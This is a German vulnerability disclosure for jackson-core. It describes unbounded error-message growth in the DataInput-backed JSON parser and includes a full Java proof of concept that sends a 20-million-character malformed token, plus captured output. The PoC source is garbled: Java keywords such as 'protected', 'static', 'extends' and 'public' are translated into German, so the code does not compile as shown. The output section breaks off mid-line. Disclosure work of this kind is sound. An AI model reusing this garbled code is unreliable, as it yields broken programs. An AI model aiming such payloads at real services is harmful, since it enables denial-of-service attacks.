FasterXML Jackson-core: Ressourcenzuweisung ohne Begrenzung (CVE-2026-89425)

Status

VOLLSTÄNDIG NACHGEWIESEN. Ein fehlerhaftes Token, das durch createParser(DataInput) verarbeitet wurde, führte zu einer 20.000.109 Zeichen langen Ausnahmemeldung aus einem 20-Millionen-Zeichen Angreifer-Payload, während der identische Payload, der durch createParser(InputStream) verarbeitet wurde, eine korrekt begrenzte 367-Zeichen Meldung produzierte.

Betroffenes Komponente / Version

• Paket: com.fasterxml.jackson.core:jackson-core
• Bestätigt gegen: jackson-core-2.20.2
• Betroffenes Datei: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java (_reportInvalidToken(int, String, String), Zeilen ~2763-2780 im 2.20.2 Baum)

Technische Analyse

UTF8DataInputJsonParser._reportInvalidToken() erstellt die Beschreibung des fehlerhaften Tokens für seine Ausnahmemeldung, indem es Zeichen für Zeichen zum Token-Identifikator an einen leeren StringBuilder anhängt:

geschützt void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
    StringBuilder sb = new StringBuilder(matchedPart);
    while (true) {
        char c = (char) _decodeCharForError(ch);
        if (!Character.isJavaIdentifierPart(c)) {
            break;
        }
        sb.append(c);
        ch = _inputData.readUnsignedByte();
    }
    _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}

Es gibt keine Überprüfung gegen ErrorReportConfiguration.getMaxErrorTokenLength() (Standard 256) irgendwo in dieser Schleife. Im Gegensatz dazu erzwingt die Schwesterimplementierung UTF8StreamJsonParser desselben Logikbaums diese Beschränkung:

// UTF8StreamJsonParser.java (kontrolliert, korrekt begrenzt)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
    sb.append("...");
    break;
}

ReaderBasedJsonParser und NonBlockingUtf8JsonParserBase erzwingen ebenfalls korrekt die Begrenzung — dies ist ein Defekt, der speziell auf die DataInput-unterstützte Implementierung beschränkt ist, bestätigt durch direkte Vergleich aller vier Parserimplementierungen in diesem Baum.

Dieser Pfad ist zusätzlich ohne Fallback-Kontrolle gelassen: Aufgrund der [core#1570]-bezogenen Logik in JsonFactory führt das Konfigurieren von maxDocumentLength dazu, dass die Erstellung von DataInput-basierten Parsers vollständig abgelehnt wird, so dass ein Dokumentlängen-Backstop nicht mit dieser Eingabequelle koexistieren kann, und die Akkumulation von Identifikatorzeichen durchläuft nie ReadConstrainedTextBuffer, so dass maxStringLength ebenfalls nicht gilt. Es gibt keine Konfiguration, die eine Anwendung setzen kann, um diesen spezifischen Pfad abzumildern.

Reproduktionsverfahren

Gleiche Klon/Bau-Schritte wie jackson-core_1_...md. Dann:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder

Vollständige PoC-Quelle (poc/PoC6_UnboundedErrorTokenStringBuilder.java)

import com.fasterxml.jackson.core.*;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;

public class PoC6_UnboundedErrorTokenStringBuilder {

    statische Klasse RepeatingByteInputStream erweitert InputStream {
        private final int b;
        private long remaining;
        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
        @Override public int read() {
            if (remaining <= 0) return -1;
            remaining--;
            return b;
        }
    }

    öffentlich statische void main(String[] args) throws Exception {
        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;

        System.out.println("Fehlerhaftes Token: \"t\" gefolgt von " + IDENTIFIER_CHAR_COUNT
                + " Java-Identifikatorzeichen ('x'), dann ein abschließendes Leerzeichen, nie abschließend"
                + " \"true\"/\"false\"/\"null\"/NaN.\n");

        System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            DataInputStream dataIn = new DataInputStream(raw);
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser((java.io.DataInput) dataIn);

            long heapBefore = usedHeap();
            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            long heapAfter = usedHeap();

            int msgLen = message == null ? -1 : message.length();
            System.out.println("Ausnahmemeldungslänge: " + msgLen + " Zeichen");
            System.out.println("Verstrichene Zeit: " + elapsedMs + " ms");
            System.out.println("Ungefähr zusätzlicher Heapverbrauch (beste Schätzung, GC-noisy): " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
            System.out.println("Ist die Meldungslänge proportional zur vollständigen 20.000.000-Zeichen Angreifer-Payload (unbegrenzt)? " + (msgLen > 1_000_000));
        }

        System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), GLEICHES fehlerhaftes Eingabe ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser(raw);

            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            int msgLen = message == null ? -1 : message.length();
            System.out.println("Ausnahmemeldungslänge: " + msgLen + " Zeichen");
            System.out.println("Verstrichene Zeit: " + elapsedMs + " ms");
            System.out.println("Ist die Meldungslänge durch ErrorReportConfiguration.getMaxErrorTokenLength() (Standard 256) begrenzt? " + (msgLen < 500));
        }
    }

    statische InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
    }

    statische long usedHeap() {
        Runtime rt = Runtime.getRuntime();
        System.gc();
        return rt.totalMemory() - rt.freeMemory();
    }
}

Erfasste Beweise (tatsächliche Ausgabe der Ausführung)

Fehlerhaftes Token: "t" gefolgt von 20000000 Java-Identifikatorzeichen ('x'), dann ein abschließendes
Leerzeichen, nie abschließend "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Ausnahmemeldungslänge: 20000109 Zeichen
Verstrichene Zeit: 81 ms
Ungefähr zusätzlicher Heapverbrauch (beste Schätzung, GC-noisy): 38 MB
Ist die Meldungslänge proportional zur vollständigen 20.000.000-Zeichen Angreifer-Payload (unbegrenzt)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), GLEICHES fe